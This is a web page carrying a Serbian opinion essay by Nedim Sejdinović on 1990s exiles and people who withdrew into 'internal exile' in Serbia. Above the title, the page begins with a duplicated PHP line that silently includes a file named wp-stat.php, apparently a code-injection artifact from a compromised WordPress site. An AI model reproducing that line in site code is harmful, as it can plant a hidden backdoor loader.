@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); KULTURA EKSKOMUNIKACIJE: O onima koji su oterani u sebe – Nedim Sejdinović

KULTURA EKSKOMUNIKACIJE: O onima koji su oterani u sebe

Pre nekoliko dana dobio sam mejl od Vidosava Stevanovića, nekada poznatog srpskog pisca, dobitnika Ninove nagrade, urednika u nekolikim velikim beogradskim izdavačkim kućama… Vidosav već više od deceniju živi u Parizu. Početkom devedesetih je, posle učestalih pretnji i uvreda zbog drugačijeg mišljenja, napustio Beograd; prvo je otišao u Grčku, potom u Pariz. Kao poznat pisac, uz par vrednih poznanstava, uspeo je da se skrasi u francuskoj prestonici i nastavi svoj književni rad; uspeo je i ono što samo retkima u egzilu polazi za rukom – da živi od pisanja. Ne razmišlja o povratku u Srbiju, pogotovo ne nakon najnovijih društvenih i političkih tumbanja.

Stevanović nije usamljen slučaj: Beograd su, kada je počeo da baca ključ stari dobri “balkanski lonac”, napustili, verovatno zauvek, i Bogdan Bogdanović, Mirko Kovač, Slobodan Blagojević i mnogi drugi poznati ili manje poznati stvaraoci koji su, svaki na svoj način, identifikovani kao smetnja uspaljenoj i zadrigloj Istosti. Ovdašnja kulturna javnost nikada im nije oprostila to što ih je oterala, posebno ne teške reči koje su izricali pre i posle rastanka – ma šta radili u inostranstvu, ma kakav uspeh postizali ili nagrade dobijali, Srbiju to neće interesovati. Nalaze se na onoj “crnoj listi”, koju niko nikada nije ispisao, a koju bi, čini se, rado potpisali skoro svi učesnici sadašnjeg javnog života. Oni su kao deca iz nekog ranijeg braka kojeg bi svi želeli da zaborave.

Ali, ovo nije tekst o njima. Istorija će već naći načina kako da zabeleži njihovo odsustvo. Ne bih ni o onim brojnim anonimusima koji su svih ovih godina “džedžali” ispred ambasada, a sada žive na potezu od Čilea, Južne Afrike i Novog Zelanda, do Kanade, Grenlanda i Sibira. Radije bih o onim drugima, njima sličnim, koje po pravilu istorija i statistika izostavljaju. O onima koji su tokom devedesetih, iznenađeni i zbunjeni onim što se dešava oko njih, toliko želeli da napuste ovu zemlju, jednom zauvek, ali koji u tome nisu uspeli. O onima koji nisu otišli, ali koji bogami nisu ni ovde ostali…

Devedesete su bile zaista bolne i bezumne, surove i nečovečne. Oni koji na njih nisu bili spremni, koji su vaspitavani i obrazovani u drugim vrednosnim kodovima, koji su verovali u solidarnost među ljudima i nadali se da dobra strana čoveka uvek pretegne onu mračnu, imali su samo jedan izbor – beg. Nisu otišli, a nisu ni ostali. Zatvorili su se, vrlo temeljno, u svoje privatne živote, okružili proverenim prijateljima, prethodno stvorivši kakvu-takvu finansijsku potporu za ono što se ovde, valjda samo ovde, naziva normalnim životom.

Bilo je doduše perioda kada su pokazivali interesovanje za stvarnost oko njih, čak su žučno pred prijateljima iznosili političke argumente, ali su po pravilu, brzo potom, bivali razočarani, padali su u depresiju, hteli da se dodatno osame. Unutrašnji egzil je uvek melanholičan i ostavlja trajne posledice, čak i ako se čoveku učini ugodnim. Karcinom je, kažu, produkt ili nusproizvod psihološke inhibicije. Ako je to tako, onda su ovi ljudi negde u sebi, duboko, posadili seme raka, koje preti da im kad-tad, verovatno kada se sve ovo završi (ako se ikada završi!), razori i telo, uz već razorenu dušu.

Činjenica da su drugačiji uglavnom im je zatvarala vrata, a i ona koja su bila otvorena, iz ko zna kojih razloga sami su zatvarali. Hteli su nešto da kažu, bio im je odvratan sveprisutni autizam, nacionalizam i ludilo koje je on stvarao, ali su uglavnom ćutali. Nije u pitanju bio komformizam ili strah. Jednostavno, verovali su da njihova reč ništa neće pomoći, pa je nisu ni izgovarali. Sada se čini – a to je strašna spoznaja za one koji su neprestano govorili – da su bili u pravu.

Najčešće smo ih sretali kako, strpljivo, sede za kompjuterom. Uglavnom su vrlo vešti u tome što rade. Ima ih mnogo i među umetnicima svih domena; naravno, nisu ni poznati ni priznati. I naravno, u pitanju su mladi ljudi.

Oktobra 2000. godine rođena je nada. Znali su da stvari nikada nisu crno-bele. U onome što se dešavalo nisu prepoznavali pobedu dobra, ali jesu poraz zla. Činilo se da sada vredi izaći iz vlastite ljušture, upoznati ljude oko sebe, za koje su po prvi put pomislili da su slični njima samima. Prilikom povratka u stvarnost, bez obzira na ogroman trud i dobru volju, prepoznavali su iste one konture od kojih su ranije bežali, ali nada nije nestajala. Čuli su se jasni koraci u tihoj noći koji kao da donose nešto novo i drugačije…

Potom se sve srušilo, kao preko noći, kao da nikada nije ni postojalo, kao da je u pitanju bila obična igra senki. Kao da je to vreme nade bilo tek predsmrtni roptaj jedne zemlje, pokušaj nemog da vrisne, nada davljenika koji u peni prepoznaje spasonosni arhipelag.

Sada toliko pate, nikada više nisu. Zašto nisu otišli kada je bilo vreme?! Ne znaju, plaše se da sve ovo što neumitno sledi neće moći ponovo da izdrže. Psihološki, naravno. Za razliku od početka devedesetih, ovaj put u unutrašnji egzil odlaze bez ikakve nade, čak ni one tajne nade koja se nikom ne saopštava.

Pogledaju oko sebe i šta vide. Neki ljudi koji su im s početka devedesetih ulivali nadu, do sada su se toliko puta isprofanisali, prodali i preprodali. Za njih, unutrašnje izgnanike, na nebu ove zemlje ne sija ni jedna zvezda, kao u tmurnoj noći koja najavljuje veliko nevreme. U svojoj kulturi prepoznaju krivca za sve ono što ih je snašlo, otvaraju zbirku jednog brkatog pesnika, a u njoj se reči pretvaraju u puške i topove. Ne, oni ne žele da slušaju domaću muziku, da čitaju domaću književnost, jer u tome prepoznaju provincijalizam, neinventivnost, anahronost, bedu, poltronstvo i laž…

Osećaju, mada možda racionalno ne sagledavaju, da njihovo unutrašnje izgnanstvo nije bila stvar njihove odluke, već neminovnost, beg pred jačim i nasrtljivijim. U tome je njihova sličnost sa egzilatnima sa početka teksta. A od čega su svi oni zajedno bežali? Ni od čega drugog nego od kulture, kulture ekskomunikacije i svetih ratova koja ovih dana u Srbiji doživljava svoj puni sjaj, oslobođen od “komunističke zaostavštine”. Kultura išćerivanja, koja se, kao u nekom lošem hororu, valja ulicama i napada sve ono što je drugačije, učinila ih je izbeglicama u vlastitim domovima i vlastitom gradu, i učiniće sve da to i ostanu.

Dobro zna da joj od njih preti najveća opasnost. Samim tim, mobilizacija i međusobno povezivanje unutrašnjih egzilanata jedini su spas za Srbiju.

Ali, da li to nekog hvata logorski sindrom, da li su se to, pognutih glava, neki pomirili sa sudbinom?

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.